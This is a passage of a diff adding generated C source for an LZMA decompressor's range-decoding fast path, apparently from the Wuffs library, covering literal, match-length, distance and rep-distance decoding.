io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; ++ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); ++ v_bits = self->private_impl.f_stashed_bits; ++ v_range = self->private_impl.f_stashed_range; ++ v_state = self->private_impl.f_stashed_state; ++ v_rep0 = self->private_impl.f_stashed_rep0; ++ v_rep1 = self->private_impl.f_stashed_rep1; ++ v_rep2 = self->private_impl.f_stashed_rep2; ++ v_rep3 = self->private_impl.f_stashed_rep3; ++ v_pos = self->private_impl.f_stashed_pos; ++ v_pos_end = self->private_impl.f_stashed_pos_end; ++ v_lc = self->private_impl.f_lc; ++ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); ++ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 282u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 48u)) { ++ if (v_pos >= v_pos_end) { ++ self->private_impl.f_end_of_chunk = true; ++ break; ++ } ++ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); ++ v_lanl_offset = 0u; ++ if (v_state >= 7u) { ++ v_lanl_offset = 256u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_match_byte <<= 1u; ++ v_lanl_old_offset = v_lanl_offset; ++ v_lanl_offset &= v_match_byte; ++ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_prev_byte = ((uint8_t)(v_tree_node)); ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_prev_byte), iop_a_dst += 1); ++ v_pos += 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); ++ continue; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); ++ v_len = ((v_tree_node & 7u) + 2u); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_len_state = 3u; ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_len_state = 3u; ++ } while (0); ++ v_slot = 1u; ++ while (v_slot < 64u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = (v_slot << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = ((v_slot << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_slot &= 63u; ++ v_rep = v_slot; ++ if (v_slot < 4u) { ++ } else if (v_slot < 14u) { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); ++ v_index_small_dist_extra = 1u; ++ v_dist_extra_bits = 0u; ++ v_i = 0u; ++ while (v_i < v_num_extra_bits) { ++ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); ++ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); ++ v_i += 1u; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); ++ v_i += 1u; ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } else { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_dist_extra_bits = 0u; ++ while (true) { ++ v_range >>= 1u; ++ v_bits -= v_range; ++ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); ++ v_bits += (v_range & v_high_bit_was_on); ++ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 4u) { ++ break; ++ } ++ } ++ v_dist_extra_bits <<= 4u; ++ v_index_large_dist = 1u; ++ while (true) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 0u) { ++ break; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } ++ if (v_rep >= 4294967295u) { ++ self->private_impl.f_end_of_chunk = true; ++ goto label__outer__break; ++ } ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_rep; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_len = 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep3; ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } ++ } ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 2u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ 